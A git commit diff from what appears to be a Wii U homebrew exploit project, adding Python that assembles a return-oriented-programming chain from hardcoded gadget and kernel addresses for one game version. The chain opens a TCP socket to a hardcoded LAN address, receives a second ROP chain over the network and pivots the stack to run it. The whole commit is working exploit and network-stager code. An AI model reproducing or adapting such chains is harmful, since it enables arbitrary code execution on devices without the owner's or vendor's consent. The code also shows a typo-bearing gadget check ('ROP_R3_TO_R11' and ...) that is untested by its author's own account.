Implement a rop chain which loads another ropchain via the network.

Untested, copy pasted from the mario kart 8 exploit (rop gadgets address are meant to be used on EUR v1.1.7)
This commit is contained in:
Maschell 2020-03-06 19:51:36 +01:00
parent 1a0a137695
commit dcf3bf5204
10 changed files with 566 additions and 72 deletions

5
.gitignore vendored
View File

@ -1,2 +1,7 @@
*.swp *.swp
wiiuhaxx_common/ wiiuhaxx_common/
.idea/
homebrew/exploit.mscsb
homebrew/main.s
homebrew/payload.s
*.pyc

View File

@ -12,13 +12,9 @@ clean:
exploit.mscsb: payload.s Scripts main.s exploit.mscsb: payload.s Scripts main.s
$(PYTHON) ../pymsc/asm.py $(PYTHON) ../pymsc/asm.py
payload.s: payload.bin payload.s:
$(PYTHON) generate_payload.py $(PYTHON) generate_payload.py
payload.bin: crashText.txt
cp -f crashText.txt payload.bin
printf "\0" >> payload.bin
main.s: rop_setup.s main.s: rop_setup.s
$(PYTHON) generate_rop.py $(PYTHON) generate_rop.py

View File

@ -0,0 +1,2 @@
class PayloadAddress:
pass

View File

@ -0,0 +1,20 @@
AF_INET = 2
SOCK_STREAM = 1
IPPROTO_TCP = 6
KERN_HEAP = 0xFF200000
KERN_HEAP_PHYS = 0x1B800000
STARTID_OFFSET = 0x08
METADATA_OFFSET = 0x14
METADATA_SIZE = 0x10
KERN_DRVPTR = 0xFFEAB530
KERNEL_ADDRESS_TABLE = 0xFFEAB7A0
KERN_SYSCALL_TBL_1 = 0xFFE84C70 # unknown
KERN_SYSCALL_TBL_2 = 0xFFE85070 # works with games
KERN_SYSCALL_TBL_3 = 0xFFE85470 # works with loader
KERN_SYSCALL_TBL_4 = 0xFFEAAA60 # works with home menu
KERN_SYSCALL_TBL_5 = 0xFFEAAE60 # works with browser (previously KERN_SYSCALL_TBL)
ADDRESS_main_entry_hook = 0x0101c56c

View File

@ -1,6 +0,0 @@
_ _
| | | |
__| | __ _| |__
/ _` |/ _` | '_ \
| (_| | (_| | |_) |
\__,_|\__,_|_.__/

View File

@ -1,4 +1,10 @@
with open('payload.bin', 'rb') as stringFile: from tcp_ropchain import *
import struct
rop_chain = tcp_thread_ropchain(0x4D070000 + 0x14, [192,168,178,89], 12345)
with open('payload.s', 'w') as f: with open('payload.s', 'w') as f:
for byte in stringFile.read(): for val in rop_chain:
print('byte %s' % hex(byte), file=f) bytes = [hex(val >> i & 0xff) for i in (24,16,8,0)]
for v in bytes:
print('byte %s' % v, file=f)

View File

@ -1,9 +1,5 @@
# Addresses from tcp_ropchain import *
LOAD_R3_ADDR = 0x0C00C650 from PayloadAddress import *
OSFATAL_ADDR = 0x01031618
class PayloadAddress:
pass
CHAIN_END = "#Execute ROP chain\nexit\n\n#Dunno why but I figured I might as well put it here, should never hit this though\nend" CHAIN_END = "#Execute ROP chain\nexit\n\n#Dunno why but I figured I might as well put it here, should never hit this though\nend"
@ -21,57 +17,8 @@ def write_rop_chain(rop_chain, path):
raise Exception(f"Found invalid type {type(command)} in rop_chain") raise Exception(f"Found invalid type {type(command)} in rop_chain")
print(CHAIN_END, file=f) print(CHAIN_END, file=f)
"""
Example payload (writeOSFatalPayload func)
pushInt. 0xC00C650
pushVar. globalVar,mscScriptAddress #r3 value (will be printed by OSFatal)
pushInt. 0xBEEF0001
pushInt. 0xBEEF0002
pushInt. 0xBEEF0003
pushInt. 0xBEEF0004
pushInt. 0xBEEF0005
pushInt. 0xBEEF0006
pushInt. 0xBEEF0007
pushInt. 0xBEEF0008
pushInt. 0xBEEF0009
pushInt. 0xBEEF000A
pushInt. 0xBEEF000B
pushInt. 0xBEEF000C
pushInt. 0xBEEF000D
pushInt. 0xBEEF000E
pushInt. 0xBEEF000F
pushInt. 0xBEEF0010
pushInt. 0xBEEF0011
pushInt. 0xBEEF0012
pushInt. 0xBEEF0013
pushInt. 0xBEEF0014
pushInt. 0xBEEF0015
pushInt. 0xBEEF0016
pushInt. 0xBEEF0017
pushInt. 0xBEEF0018
pushInt. 0xBEEF0019
pushInt. 0xBEEF001A
pushInt. 0x01031618 #return address (OSFatal)
"""
# Print out contents of payload as null terminated string
def generateOSFatalPayload():
return [
LOAD_R3_ADDR,
PayloadAddress()
] + [
0xBEEF0001 + i for i in range(0x1A)
] + [
OSFATAL_ADDR
]
writeEnd()
def main(): def main():
rop_chain = generateOSFatalPayload() rop_chain = create_thread_ropchain(PayloadAddress())
write_rop_chain(rop_chain, 'main.s') write_rop_chain(rop_chain, 'main.s')
if __name__ == "__main__": if __name__ == "__main__":

View File

@ -0,0 +1,74 @@
ROP_POPJUMPLR_STACK12 = 0x0101CD24;
ROP_POPJUMPLR_STACK20 = 0x01024D88;
ROP_CALLFUNC = 0x01080274;
ROP_CALLR28_POP_R28_TO_R31 = 0x0107DD70;
ROP_POP_R28R29R30R31 = 0x0101D8D4;
ROP_POP_R27 = 0x0101CB00;
ROP_POP_R24_TO_R31 = 0x010204C8;
ROP_CALLFUNCPTR_WITHARGS_FROM_R3MEM = 0x010253C0;
ROP_SETR3TOR31_POP_R31 = 0x0101CC10;
ROP_Register = 0x010277B8;
ROP_Deregister = 0x010277C4;
ROP_CopyToSaveArea = 0x010277DC;
ROP_CopyFromSaveArea = 0x010277D0;
ROP_CreateThreadInternal = 0x01041BA8;
ROP_LR_TO_0XC_R1 = 0x0101CD24;
ROP_lwz_r3_0_r3__lwz_r0_0xc_r1__mtlr_r0__addi_r1_r1_8__blr = 0x01040C58;
ROP_memcpy = 0x01035FC8;
ROP_DCFlushRange = 0x01023F88;
ROP_ICInvalidateRange = 0x010240B0;
ROP_OSSwitchSecCodeGenMode = 0x010376C0;
ROP_OSCodegenCopy = 0x010376D8;
ROP_OSGetCodegenVirtAddrRange = 0x010375C0;
ROP_OSGetCoreId = 0x01024E8C;
ROP_OSGetCurrentThread = 0x01043150;
ROP_OSSetThreadAffinity = 0x010429DC;
ROP_OSYieldThread = 0x010418E4;
ROP_OSFatal = 0x01031618;
ROP_Exit = 0x0101CD80;
ROP_OSScreenFlipBuffersEx = 0x0103AFD0;
ROP_OSScreenClearBufferEx = 0x0103B090;
ROP_OSDynLoad_Acquire = 0x0102A3B4;
ROP_OSDynLoad_FindExport = 0x0102B828;
ROP_os_snprintf = 0x0102F160;
ROP_OSSendAppSwitchRequest = 0x01039C30;
ROP_OSExitThread = 0x01041D6C;
ROP_OSSleepTicks = 0x0104274C;
ROP_OSTestAndSetAtomic64 = 0x010229BC;
ROP_OSDisableInterrupts = 0x01033250;
ROP_OSForceFullRelaunch = 0x01035FA8;
ROP_OSRestoreInterrupts = 0x01033368;
ROP__Exit = 0x0101CD80;
ROP_OSCreateThread = 0x01041B64;
ROP_OSResumeThread = 0x01042108;
ROP_IM_Open = 0x010821F0;
ROP_IM_SetDeviceState = 0x01082598;
ROP_IM_Close = 0x01082200;
ROP___PPCExit = 0x0101C580;
ROP_OSRequestFastExit = 0x01039630;
ROP_OSRestartCrashedApp = 0x010302DC;
ROP_OSShutdown = 0x0101FD0C;
ROP_OSSuspendThread = 0x01042C60;
ROP_OSRunThreadsOnExit = 0x01047644;
ROP_OSBlockThreadsOnExit = 0x01047628;
ROP_GX2SetSemaphore_2C = 0x01157F18;
ROP_GX2_r3r4load = 0x0114EF74;
ROP_GX2_r30r31load = 0x011519EC;
ROP_GX2_do_flush = 0x0114F394;
ROP_GX2_call_r12 = 0x01189DDC;
ROP_GX2Init = 0x01156B78;
ROP_GX2Shutdown = 0x0115733C;
ROP_GX2Flush = 0x011575AC;
ROP_GX2DrawDone = 0x01157560;
ROP_GX2WaitForVsync = 0x01151964;
ROP_GX2DirectCallDisplayList = 0x01152BF0;
ROP_socket = 0x010C21C8;
ROP_connect = 0x010C0828;
ROP_recv = 0x010C0AEC;
ROP_R3_TO_R11 = 0x0DA6364C;
ROP_R11_TO_R1 = 0x0C009578;
ROP_R3_TO_R7 = 0x0D37A6F4;
ROP_R3_TO_R4 = 0x0DA6364C;
ROP_POP_R12 = 0x0C8F991C;
ROP_R3_TO_R6 = 0x0DFA353C;
ROP_R3_TO_R5_POP_R29_R30_R31 = 0x0DA21BC4;

376
homebrew/ropgadgets.py Normal file
View File

@ -0,0 +1,376 @@
from ropgadget_addr import *
def setr3r4(r3, r4):
if 'ROP_GX2_r3r4load' not in globals():
raise ValueError('rop gagdet ROP_R3_TO_R7 is missing')
return [ROP_GX2_r3r4load,
r3,
r4,
0x0]
def pop_r24_to_r31(inputregs):
if 'ROP_POP_R24_TO_R31' not in globals():
raise ValueError('rop gagdet ROP_POP_R24_TO_R31 is missing')
curchain = [
ROP_POP_R24_TO_R31,
0,
0]
for i in range(0, 8):
curchain.append(inputregs[i])
curchain.append(0)
return curchain
def call_func(funcaddr, r3=0, r4=0, r5=0, r6=0, r28=0):
if 'ROP_CALLR28_POP_R28_TO_R31' not in globals():
raise ValueError('rop gagdet ROP_CALLR28_POP_R28_TO_R31 is missing')
curchain = []
input_regs = [r6,
r5,
0,
ROP_CALLR28_POP_R28_TO_R31,
funcaddr,
r3,
0,
r4]
curchain += pop_r24_to_r31(input_regs)
curchain.append(ROP_CALLFUNC)
curchain.append(r28)
curchain.append(0)
curchain.append(0)
curchain.append(0)
curchain.append(0)
return curchain
def tiny_call(fptr, r3=0, r4=0):
if 'ROP_POP_R28R29R30R31' not in globals():
raise ValueError('rop gagdet ROP_POP_R28R29R30R31 is missing')
if 'ROP_CALLR28_POP_R28_TO_R31' not in globals():
raise ValueError('rop gagdet ROP_CALLR28_POP_R28_TO_R31 is missing')
curchain = []
curchain += setr3r4(r3, r4)
curchain.append(ROP_POP_R28R29R30R31)
curchain.append(fptr)
curchain.append(0)
curchain.append(0)
curchain.append(r4)
curchain.append(0)
curchain.append(ROP_CALLR28_POP_R28_TO_R31)
curchain.append(0)
curchain.append(0)
curchain.append(0)
curchain.append(0)
curchain.append(0)
return curchain
def write_r3r4_tomem(outaddr):
if 'ROP_POP_R28R29R30R31' not in globals():
raise ValueError('rop gagdet ROP_POP_R28R29R30R31 is missing')
if 'ROP_OSGetCodegenVirtAddrRange' not in globals():
raise ValueError('rop gagdet ROP_OSGetCodegenVirtAddrRange is missing')
if 'ROP_CALLR28_POP_R28_TO_R31' not in globals():
raise ValueError('rop gagdet ROP_CALLR28_POP_R28_TO_R31 is missing')
return [ROP_POP_R28R29R30R31,
ROP_OSGetCodegenVirtAddrRange + 0x20,
0,
outaddr,
0x10000000,
0,
ROP_CALLR28_POP_R28_TO_R31,
0,
0,
0]
def write32(addr, value):
cur_chain = []
cur_chain += setr3r4(value, 0)
cur_chain += write_r3r4_tomem(addr)
return cur_chain
def call_with_dereferenced_r3(addr, arg1_ptr, arg2=0, arg3=0, arg4=0, arg5=0):
cur_chain = []
# set r3 to arg5
cur_chain += setr3r4(arg5, 0)
# move it to r7
if 'ROP_R3_TO_R7' in globals():
cur_chain.append(ROP_R3_TO_R7) # 0x028036ec: mr r7, r3; lwz r0, 0xc(r1) ; mtlr r0; addi r1, r1, 8; mr r3, r7; blr;
cur_chain.append(0x0000DEA2) # ;r1 +8
else:
raise ValueError('rop gagdet ROP_R3_TO_R7 is missing')
# set r3 to arg3
cur_chain += setr3r4(arg4, 0)
if 'ROP_R3_TO_R11' and 'ROP_R11_TO_R6' in globals():
# move it to r11
cur_chain.append(ROP_R3_TO_R11) # 0x029002ac: mr r11, r3; lwz r0, 0xc(r1) ; mtlr r0; addi r1, r1, 8; mr r3, r11; blr;
cur_chain.append(0x0000DEA6) # ;r1 + 8
# then we can move it to r6
cur_chain.append(ROP_R11_TO_R6) # 0x029dd8fc: mr r6, r11; lwz r0, 0x14(r1) ; mtlr r0; addi r1, r1, 0x10; clrlwi r3, r6, 0x18; blr;
cur_chain.append(0x0000DEA7) # ;r1 + 8
cur_chain.append(0x0000DEA8) # ;r1 + 0xC
cur_chain.append(0x0000DEA9) # ;r1 + 0x10
elif 'ROP_R3_TO_R6' in globals():
print('yay')
else:
raise ValueError('rop gagdet is missing')
# set arg3 to r3
cur_chain += setr3r4(arg3, 0)
if 'ROP_R3_TO_R5' in globals():
# move it to r5
cur_chain.append(ROP_R3_TO_R5) # 0x0211cb44 mr r5, r3; lwz r0, 0x14(r1) ; mtlr r0; addi r1, r1, 0x10; mr r3, r5; blr;
cur_chain.append(0x0000DEAA) # ;r1 + 8
cur_chain.append(0x0000DEAB) # ;r1 + 0xC
cur_chain.append(0x0000DEAC) # ;r1 + 0x10
elif 'ROP_R3_TO_R5_POP_R29_R30_R31' in globals():
cur_chain.append(ROP_R3_TO_R5_POP_R29_R30_R31) # 0x3a21bc4: mr r5, r3; lwz r29, 0x34(r1); lwz r0, 0x44(r1); lwz r30, 0x38(r1); mtlr r0; lwz r31, 0x3c(r1); addi r1, r1, 0x40; addi r3, r5, 0x10; blr
cur_chain.append(0x0000DEAA) # ;r1 + 0x08
cur_chain.append(0x0000DEAB) # ;r1 + 0x0C
cur_chain.append(0x0000DEAC) # ;r1 + 0x10
cur_chain.append(0x0000DEAD) # ;r1 + 0x14
cur_chain.append(0x0000DEAE) # ;r1 + 0x18
cur_chain.append(0x0000DEAF) # ;r1 + 0x1C
cur_chain.append(0x0000DEB0) # ;r1 + 0x20
cur_chain.append(0x0000DEB1) # ;r1 + 0x24
cur_chain.append(0x0000DEB2) # ;r1 + 0x28
cur_chain.append(0x0000DEB3) # ;r1 + 0x2C
cur_chain.append(0x0000DEB4) # ;r1 + 0x30
cur_chain.append(0x0000DEB5) # ;r1 + 0x34 // r29
cur_chain.append(0x0000DEB6) # ;r1 + 0x38 // r30
cur_chain.append(0x0000DEB7) # ;r1 + 0x3C // r31
cur_chain.append(0x0000DEB8) # ;r1 + 0x40
else:
raise ValueError('rop gagdet is missing')
cur_chain += call_with_dereferenced_r3_tiny(addr, arg1_ptr, arg2)
return cur_chain
def call_with_dereferenced_r3_tiny(addr, arg1_ptr, arg2=0):
cur_chain = []
# now we can set r3
cur_chain += setr3r4(arg1_ptr, 0)
if 'ROP_lwz_r3_0_r3__lwz_r0_0xc_r1__mtlr_r0__addi_r1_r1_8__blr' not in globals():
raise ValueError('rop gagdet ROP_lwz_r3_0_r3__lwz_r0_0xc_r1__mtlr_r0__addi_r1_r1_8__blr is missing')
cur_chain.append(ROP_lwz_r3_0_r3__lwz_r0_0xc_r1__mtlr_r0__addi_r1_r1_8__blr) # #0x2024858 r3 = *r3 # lwz r3, 0(r3); lwz r0, 0xc(r1); mtlr r0; addi r1, r1, 8; blr;
cur_chain.append(0x0) # + 8
if 'ROP_POP_R28R29R30R31' not in globals():
raise ValueError('rop gagdet ROP_POP_R28R29R30R31 is missing')
# set func address to r28, arg2 to r31
cur_chain.append(ROP_POP_R28R29R30R31) # coreinit.rpl 0x020014d4: lwz r28, 8(r1); lwz r29, 0xc(r1); lwz r0, 0x1c(r1); lwz r30, 0x10(r1); mtlr r0; lwz r31, 0x14(r1); addi r1, r1, 0x18; blr;
cur_chain.append(addr) # r28 + 8
cur_chain.append(0) # r29 +0x0C
cur_chain.append(0) # r30+ 0x10
cur_chain.append(arg2) # r31 + 0x14
cur_chain.append(0) # + 0x18
if 'ROP_CALLR28_POP_R28_TO_R31' not in globals():
raise ValueError('rop gagdet ROP_CALLR28_POP_R28_TO_R31 is missing')
# r31 will be moved to r4
cur_chain.append(ROP_CALLR28_POP_R28_TO_R31) # coreinit: 0x02061970: mtctr r28; mr r4, r31; bctrl; lwz r28, 8(r1); lwz r29, 0xc(r1); lwz r0, 0x1c(r1); lwz r31, 0x14(r1); mtlr r0; lwz r30, 0x10(r1); addi r1, r1, 0x18; blr;
cur_chain.append(0) # r28 + 8
cur_chain.append(0) # r29 + 0xC
cur_chain.append(0) # r30 + 0x10
cur_chain.append(0) # r31 + 0x14
cur_chain.append(0) # + 0x18
return cur_chain
def call_ptr(addr_ptr, arg1=0, arg2=0):
if 'ROP_POP_R12' not in globals():
raise ValueError('rop gagdet ROP_POP_R12 is missing')
# overrides r3
# 0x025850c0: lwz r12, 8(r1); addis r3, r12, 0x8000; lwz r0, 0x14(r1); mtlr r0; addi r1, r1, 0x10; blr;
cur_chain = [ROP_POP_R12,
addr_ptr - 0x2C,
0x0000DEA3,
0x0000DEA4]
# sets r3 and r4. More arguments could be set using the gadget (call_with_dereferenced_r3)
cur_chain += setr3r4(arg1, arg2)
if 'ROP_GX2_call_r12' not in globals():
raise ValueError('rop gagdet ROP_GX2_call_r12 is missing')
cur_chain.append(ROP_GX2_call_r12) # gx2.rpl; 0x0203b19c: lwz r0, 0x2c(r12); mtctr r0; bctrl; lwz r0, 0xc(r1); mtlr r0; addi r1, r1, 8; blr;
cur_chain.append(0) # 8
return cur_chain
def DCFlushRange(addr, size):
if 'ROP_DCFlushRange' not in globals():
raise ValueError('rop gagdet ROP_DCFlushRange is missing')
return tiny_call(ROP_DCFlushRange, addr, size)
def ICInvalidateRange(addr, size):
if 'ROP_ICInvalidateRange' not in globals():
raise ValueError('rop gagdet ROP_ICInvalidateRange is missing')
return tiny_call(ROP_ICInvalidateRange, addr, size)
def memcpy(dest, src, size):
if 'ROP_memcpy' not in globals():
raise ValueError('rop gagdet ROP_memcpy is missing')
return call_func(ROP_memcpy, dest, src, size)
def OSDriver_Register(name, name_len, unkwn1, unkwn2):
if 'ROP_Register' not in globals():
raise ValueError('rop gagdet ROP_Register is missing')
return call_func(ROP_Register, name, name_len, unkwn1, unkwn2)
def OSDriver_CopyToSaveArea(name, name_len, data, data_len):
if 'ROP_CopyToSaveArea' not in globals():
raise ValueError('rop gagdet ROP_CopyToSaveArea is missing')
return call_func(ROP_CopyToSaveArea, name, name_len, data, data_len)
def OSResumeThread(thread):
if 'ROP_OSResumeThread' not in globals():
raise ValueError('rop gagdet ROP_OSResumeThread is missing')
return tiny_call(ROP_OSResumeThread, thread)
def OSFatal(arg):
if 'ROP_OSFatal' not in globals():
raise ValueError('rop gagdet ROP_OSFatal is missing')
return tiny_call(ROP_OSFatal, arg)
def OSSuspendThread(thread):
if 'ROP_OSSuspendThread' not in globals():
raise ValueError('rop gagdet ROP_OSSuspendThread is missing')
return tiny_call(ROP_OSSuspendThread, thread)
def OSDynLoad_Acquire(name_ptr, handle_ptr):
if 'ROP_OSDynLoad_Acquire' not in globals():
raise ValueError('rop gagdet ROP_OSDynLoad_Acquire is missing')
return tiny_call(ROP_OSDynLoad_Acquire, name_ptr, handle_ptr)
def OSExitThread(resultcode):
if 'ROP_OSExitThread' not in globals():
raise ValueError('rop gagdet ROP_OSExitThread is missing')
return tiny_call(ROP_OSExitThread, resultcode)
def socket(domain, type, protocol):
if 'ROP_socket' not in globals():
raise ValueError('rop gagdet ROP_socket is missing')
return call_func(ROP_socket, domain, type, protocol)
def connect(sockfd, addr, addrlen):
if 'ROP_connect' not in globals():
raise ValueError('rop gagdet ROP_connect is missing')
return call_func(ROP_connect, sockfd, addr, addrlen)
def recv(sockfd, buf, len, flags):
if 'ROP_recv' not in globals():
raise ValueError('rop gagdet ROP_recv is missing')
return call_func(ROP_recv, sockfd, buf, len, flags)
def GX2WaitForVsync():
if 'ROP_GX2WaitForVsync' not in globals():
raise ValueError('rop gagdet ROP_GX2WaitForVsync is missing')
return tiny_call(ROP_GX2WaitForVsync)
def GX2Flush():
if 'ROP_GX2Flush' not in globals():
raise ValueError('rop gagdet ROP_GX2Flush is missing')
return tiny_call(ROP_GX2Flush)
def GX2DrawDone():
if 'ROP_GX2DrawDone' not in globals():
raise ValueError('rop gagdet ROP_GX2DrawDone is missing')
return tiny_call(ROP_GX2DrawDone)
def GX2DirectCallDisplayList(addr, size):
if 'ROP_GX2DirectCallDisplayList' not in globals():
raise ValueError('rop gagdet ROP_GX2DirectCallDisplayList is missing')
return tiny_call(ROP_GX2DirectCallDisplayList, addr, size)
def FindExportAndCall(tmp, rpl_name_addr, function_name_addr, arg1=0, arg2=0):
if 'ROP_OSDynLoad_FindExport' not in globals():
raise ValueError('rop gagdet ROP_OSDynLoad_FindExport is missing')
cur_chain = []
cur_chain += OSDynLoad_Acquire(rpl_name_addr, tmp)
cur_chain += call_with_dereferenced_r3(ROP_OSDynLoad_FindExport, tmp, 0, function_name_addr, tmp + 0x04, 0) # will use the value of (tmp) in r3, not the address!
cur_chain += call_ptr(tmp + 0x04, arg1, arg2)
return cur_chain
def StackPivot(new_stack):
cur_chain = []
# set r3 to arg3
cur_chain += setr3r4(new_stack, 0)
if 'ROP_R3_TO_R11' not in globals():
raise ValueError('rop gagdet ROP_R3_TO_R11 is missing')
if 'ROP_R11_TO_R1' not in globals():
raise ValueError('rop gagdet ROP_R11_TO_R1 is missing')
# move it to r11
cur_chain.append(ROP_R3_TO_R11) # 0x029002ac: mr r11, r3; lwz r0, 0xc(r1); mtlr r0; addi r1, r1, 8; mr r3, r11; blr;
cur_chain.append(0x0000DEA6) # ;r1 + 8
cur_chain.append(ROP_R11_TO_R1) # 0x02a645b0 ;r1 + 12 # lwz r0, 4(r11); mtlr r0; mr r1, r11; blr;
return cur_chain
def OSCreateThread(thread, entry, argc, argv, stack, stackSize, priority, attributes):
curchain = [];
inputregs = [1, 2, 3, 4, 5, 6, 7, 8]
inputregs[24 - 24] = 0 # #r24
inputregs[25 - 24] = stack # #r25 # r7
inputregs[26 - 24] = stackSize # #r26 # r8
inputregs[27 - 24] = priority # #r27 # r9
inputregs[28 - 24] = thread # #r28 #r3
inputregs[29 - 24] = entry # #r29 #r4
inputregs[30 - 24] = argc ##r30 #r5
inputregs[31 - 24] = argv # #r31 # r6
curchain += pop_r24_to_r31(inputregs)
if 'ROP_CreateThreadInternal' not in globals():
raise ValueError('rop gagdet ROP_CreateThreadInternal is missing')
# 0x020257a8: li r0, 2; lhz r10, 0xc(r1); mr r3, r28; mr r8, r26; stw r0, 8(r1); mr r4, r29; mr r5, r30; mr r6, r31;
# mr r7, r25; mr r9, r27; bl 0x2025548; lmw r25, 0x14(r1); lwz r0, 0x34(r1);mtlr r0; addi r1, r1, 0x30; blr;
curchain.append(ROP_CreateThreadInternal)
curchain.append(2) # param #10 ;r1 +8
curchain.append(attributes << 16) # r10 ;r1 +12 (lhz from this register)
curchain.append(0) # ;r1 +16
curchain.append(0) # r25 ;r1 +20
curchain.append(0) # r26 ;r1 +24
curchain.append(0) # r27 ;r1 +28
curchain.append(0) # r28 ;r1 +32
curchain.append(0) # r29 ;r1 +36
curchain.append(0) # r30 ;r1 +40
curchain.append(0) # r31 ;r1 +44 (0x2C)
curchain.append(0)
return curchain

74
homebrew/tcp_ropchain.py Normal file
View File

@ -0,0 +1,74 @@
from ropgadgets import *
from common_defines import *
def tcp_thread_ropchain_calls(data_addr):
cur_chain = []
# create a socket
cur_chain += socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)
cur_chain += write_r3r4_tomem(0x4D055000) # save result to memory
# connect(socket_fd, &sin, 0x10)
cur_chain += call_with_dereferenced_r3(ROP_connect, 0x4D055000, data_addr,
0x10); # will use the value at address (0x4D055000) as arg1, not the address itself!
# improve stability by waiting a bit
cur_chain += GX2WaitForVsync()
cur_chain += GX2WaitForVsync()
# receive the rop chain
cur_chain += recv(4, 0x4D900014, 0x8000, 0)
cur_chain += DCFlushRange(0x4D900010, 0x8000)
# execute received rop chain!
cur_chain += StackPivot(0x4D900010)
return cur_chain
def tcp_thread_ropchain_data(ip, port):
cur_chain = []
# sin.family + port
cur_chain.append(0x00020000 + port)
cur_chain.append((ip[0] << 24) | (ip[1] << 16) | (ip[2] << 8) | (ip[3] << 0))
cur_chain.append(0)
cur_chain.append(0)
return cur_chain
def tcp_thread_ropchain(base, ip, port):
# Calculate offsets
call_len = len(tcp_thread_ropchain_calls(0)) * 4
cur_chain = []
# Build real ropchain
cur_chain += tcp_thread_ropchain_calls(base + call_len)
cur_chain += tcp_thread_ropchain_data(ip, port)
return cur_chain
def create_thread_ropchain(new_ropchain_addr):
cur_chain = []
# Flush the whole ropchain
cur_chain += DCFlushRange(0x387D3664, 0x500)
# Create thread
cur_chain += OSCreateThread(0x4D066000, ROP_POP_R24_TO_R31, 0, 0, 0x4D070000, 0x8000, 0, 2 | 8)
# Override the stack with a new ROP Chain
cur_chain += memcpy(0x4D070000 + 0x14, new_ropchain_addr, 0x400)
cur_chain += DCFlushRange(0x4D066000, 0x20000)
cur_chain += OSResumeThread(0x4D066000)
cur_chain.append(ROP_OSExitThread)
return cur_chain
def tcp_ropchain(ip, port, payloadAddress):
cur_chain = []
# Calculate offsets
rop_len = len(create_thread_ropchain(0)) * 4
# Build real ropchain
cur_chain += create_thread_ropchain(0x387D36AC + rop_len)
cur_chain += tcp_thread_ropchain(0x4D070000 + 0x14, ip, port)
return cur_chain